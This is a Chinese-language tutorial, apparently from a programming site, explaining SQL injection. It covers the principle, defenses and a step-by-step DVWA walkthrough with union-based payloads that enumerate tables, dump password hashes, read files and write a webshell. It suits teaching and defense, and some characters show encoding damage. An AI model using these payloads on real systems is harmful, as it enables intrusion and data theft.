一篇文章了解SQL注入漏洞
SQL注入漏洞原理
漏洞原理
web頁(yè)面源代碼對(duì)用戶(hù)提交的參數(shù)沒(méi)有做出任何過(guò)濾限制,直接扔到SQL語(yǔ)句中去執(zhí)行,導(dǎo)致特殊字符改變了SQL語(yǔ)句原來(lái)的功能和邏輯。黑客利用此漏洞執(zhí)行惡意的SQL語(yǔ)句,如查詢(xún)數(shù)據(jù)、下載數(shù)據(jù),寫(xiě)webshell、執(zhí)行系統(tǒng)命令以此來(lái)繞過(guò)登錄權(quán)限限制等。
檢測(cè)方法
可以利用sqlmap進(jìn)行SQL注入的檢查或利用,也可以使用其他SQL注入工具。也可以手工測(cè),利用單引號(hào)、and 1=1以及字符型注入進(jìn)行判斷。
防御措施
(1)sql 語(yǔ)句預(yù)編譯和綁定變量
(2)所有的查詢(xún)語(yǔ)句都使用數(shù)據(jù)庫(kù)提供的參數(shù)化查詢(xún)接口,參數(shù)化的語(yǔ)句使用參數(shù)而不是將用戶(hù)輸入變量嵌入到 SQL 語(yǔ)句中。當(dāng)前幾乎所有的數(shù)據(jù)庫(kù)系統(tǒng)都提供了參數(shù)化 SQL 語(yǔ)句執(zhí)行接口,使用此接口可以非常有效的防止 SQL 注入攻擊。
(3)對(duì)進(jìn)入數(shù)據(jù)庫(kù)的特殊字符( ’ <>&*; 等)進(jìn)行轉(zhuǎn)義處理,或編碼轉(zhuǎn)換。
(4)確認(rèn)每種數(shù)據(jù)的類(lèi)型,比如數(shù)字型的數(shù)據(jù)就必須是數(shù)字,數(shù)據(jù)庫(kù)中的存儲(chǔ)字段必須對(duì)應(yīng)為 int 型。
(5)數(shù)據(jù)長(zhǎng)度應(yīng)該嚴(yán)格規(guī)定,能在一定程度上防止比較長(zhǎng)的 SQL 注入語(yǔ)句無(wú)法正確執(zhí)行。
(6)網(wǎng)站每個(gè)數(shù)據(jù)層的編碼統(tǒng)一,建議全部使用 UTF-8 編碼,上下層編碼不一致有可能導(dǎo)致一些過(guò)濾模型被繞過(guò)。
(7)嚴(yán)格限制網(wǎng)站用戶(hù)的數(shù)據(jù)庫(kù)的操作權(quán)限,給此用戶(hù)提供僅僅能夠滿(mǎn)足其工作的權(quán)限,從而最大限度的減少注入攻擊對(duì)數(shù)據(jù)庫(kù)的危害.
(8)避免網(wǎng)站顯示 SQL 錯(cuò)誤信息,比如類(lèi)型錯(cuò)誤、字段不匹配等,防止攻擊者利用這些錯(cuò)誤信息進(jìn)行一些判斷。
SQL注入內(nèi)容
注入條件
SQL 注入需要滿(mǎn)足以下兩個(gè)條件:
- 參數(shù)可控:從前端傳給后端的參數(shù)內(nèi)容是用戶(hù)可以控制的
- 參數(shù)帶入數(shù)據(jù)庫(kù)查詢(xún):傳入的參數(shù)拼接到 SQL 語(yǔ)句,且?guī)霐?shù)據(jù)庫(kù)查詢(xún)。 判斷注入 當(dāng)用戶(hù)傳入?yún)?shù)為 1’的時(shí)候,在數(shù)據(jù)庫(kù)執(zhí)行如下所示:
select * from users where id=1'
此 SQL語(yǔ)句不符合語(yǔ)法規(guī)則就會(huì)報(bào)錯(cuò)。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
當(dāng)用戶(hù)傳入?yún)?shù)為 1 and 1=1 時(shí)
select * from users where id=1 and 1=1
因?yàn)?1=1 為真,id=1 也是真, and 兩邊均為真。所以頁(yè)面會(huì)返回 id=1 的結(jié)果。
如果用戶(hù)傳入?yún)?shù)為 1 and 1=2 時(shí)
因?yàn)?1=2 為假 id=1 為真 and 兩邊有一個(gè)為假,所以頁(yè)面返回與 id=1 不一樣的結(jié)果。
由此可以初步判斷存在 SQL 注入漏洞,攻擊者可以進(jìn)一步拼接 SQL 攻擊語(yǔ)句,進(jìn)行攻擊,致使信息泄露,甚至獲取服務(wù)器權(quán)限。
其實(shí)也就是看有沒(méi)有回顯。回顯是指頁(yè)面有數(shù)據(jù)信息返回。無(wú)回顯是指根據(jù)輸入的語(yǔ)句,頁(yè)面沒(méi)有任何變化或者沒(méi)有數(shù)據(jù)庫(kù)中的內(nèi)容顯示到網(wǎng)頁(yè)中。
id =1 and 1=1 id = 1 and 1=2 id = 1 or 1=1 id = '1' or '1'='1' id=" 1 "or "1"="1"
SQL注釋符與注入流程
注釋符:
- #(單行注釋 注意與 url 中的#區(qū)分)
- --空格 (單行注釋 注意為短線(xiàn)短線(xiàn)空格)
- /*()*/ (多行注釋 至少存在倆處的注入 /**/常用來(lái)作為空格)
注入流程:
- 是否存在注入并且判斷注入類(lèi)型
- 判斷字段數(shù) order by
- 確定回顯點(diǎn) union select 1,2
- 查詢(xún)數(shù)據(jù)庫(kù)信息 @@version @@datadir
- 查詢(xún)用戶(hù)名,數(shù)據(jù)庫(kù)名 user() database()
- 文件讀取 union select 1,load_file(‘C:\wondows\win.ini’)#
- 寫(xiě)入 webshell select…into outfile…
使用 sql 注入遇到轉(zhuǎn)義字符串的單引號(hào)或者雙引號(hào),可使用 HEX 編碼繞過(guò)。
SQL注入分類(lèi)
SQLMap 分類(lèi)
SQL 注入類(lèi)型有以下 5 種:
UNION query SQL injection(可聯(lián)合查詢(xún)注入)
Stacked queries SQL injection(可多語(yǔ)句查詢(xún)注入)堆疊查詢(xún)
Boolean-based blind SQL injection(布爾型注入)
Error-based SQL injection(報(bào)錯(cuò)型注入)
Time-based blind SQL injection(基于時(shí)間延遲注入)

輸入命令sqlmap -hh

輸入命令sqlmap -u


接受請(qǐng)求類(lèi)型區(qū)分
GET 注入
GET 請(qǐng)求的參數(shù)是放在 URL 里的,GET 請(qǐng)求的 URL 傳參有長(zhǎng)度限制 中文需要
URL 編碼
POST 注入
POST 請(qǐng)求參數(shù)是放在請(qǐng)求 body 里的,長(zhǎng)度沒(méi)有限制
COOKIE 注入
cookie 參數(shù)放在請(qǐng)求頭信息,提交的時(shí)候 服務(wù)器會(huì)從請(qǐng)求頭獲取
注入數(shù)據(jù)類(lèi)型的區(qū)分
int 整型
select * from users where id=1
sting 字符型
select * from users where username=‘a(chǎn)dmin'
like 搜索型
select * from news where title like ‘%標(biāo)題%'
SQL注入思路
1、尋找注入點(diǎn),可以通過(guò) web 掃描工具實(shí)現(xiàn)
2、通過(guò)注入點(diǎn),嘗試獲得關(guān)于連接數(shù)據(jù)庫(kù)用戶(hù)名、數(shù)據(jù)庫(kù)名稱(chēng)、連接數(shù)據(jù)庫(kù)用戶(hù)權(quán)限、操作系統(tǒng)信息、數(shù)據(jù)庫(kù)版本等相關(guān)信息。
3、猜解關(guān)鍵數(shù)據(jù)庫(kù)表及其重要字段與內(nèi)容(常見(jiàn)如存放管理員賬戶(hù)的表名、字段名等信息)還可以獲取數(shù)據(jù)庫(kù)的 root 賬號(hào) 密碼—思路
4、可以通過(guò)獲得的用戶(hù)信息,尋找后臺(tái)登錄。
5、利用后臺(tái)或了解的進(jìn)一步信息。
手工注入思路
1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解 SQL 查詢(xún)語(yǔ)句中的字段數(shù) order by N
3.確定顯示的字段順序
4.獲取當(dāng)前數(shù)據(jù)庫(kù)
5.獲取數(shù)據(jù)庫(kù)中的表
6.獲取表中的字段名
7.查詢(xún)到賬戶(hù)的數(shù)據(jù)
SQL 詳細(xì)注入過(guò)程
猜數(shù)據(jù)庫(kù):
1' union select 1,database()
payload 利用另一種方式:
1' union select user(),database()version()
得到數(shù)據(jù)庫(kù)名:dvwa
PS:union 查詢(xún)結(jié)合了兩個(gè) select 查詢(xún)結(jié)果,根據(jù)上面的 order by 語(yǔ)句我們知道查詢(xún)包含兩列,為了能夠現(xiàn)實(shí)兩列查詢(xún)結(jié)果,我們需要用 union 查詢(xún)結(jié)合我們構(gòu)造的另外一個(gè) select.注意在使用 union 查詢(xún)的時(shí)候需要和主查詢(xún)的列數(shù)相同。
猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
得到表名:guestbook,users
group_concat 分組
猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用編碼就不用單引號(hào),用單引號(hào)就不用編碼)
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
猜用戶(hù)數(shù)據(jù):
列舉出幾種 payload:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
得到用戶(hù)數(shù)據(jù):
admin 5f4dcc3b5aa765d61d8327deb882cf99
猜 root 用戶(hù):#
1' union select 1,group_concat(user,password) from mysql.user#
得到 root 用戶(hù)信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
總結(jié)
到此這篇關(guān)于SQL注入漏洞的文章就介紹到這了,更多相關(guān)SQL注入漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
對(duì)Serv-U 6.0.0.2默認(rèn)帳戶(hù)及密碼的一點(diǎn)理解
對(duì)Serv-U 6.0.0.2默認(rèn)帳戶(hù)及密碼的一點(diǎn)理解...2007-01-01
系統(tǒng)安全:Win XP SP2 配置及故障解決技巧大揭露
系統(tǒng)安全:Win XP SP2 配置及故障解決技巧大揭露...2007-01-01
關(guān)于對(duì)SQL注入80004005 及其它錯(cuò)誤消息分析
關(guān)于對(duì)SQL注入80004005 及其它錯(cuò)誤消息分析...2007-01-01
關(guān)于對(duì)河南網(wǎng)通封鎖局域網(wǎng)共享上網(wǎng)的破解
關(guān)于對(duì)河南網(wǎng)通封鎖局域網(wǎng)共享上網(wǎng)的破解...2007-01-01
為動(dòng)網(wǎng)論壇添加一個(gè)密碼嗅探器(DVBBS)
為動(dòng)網(wǎng)論壇添加一個(gè)密碼嗅探器(DVBBS)...2007-01-01

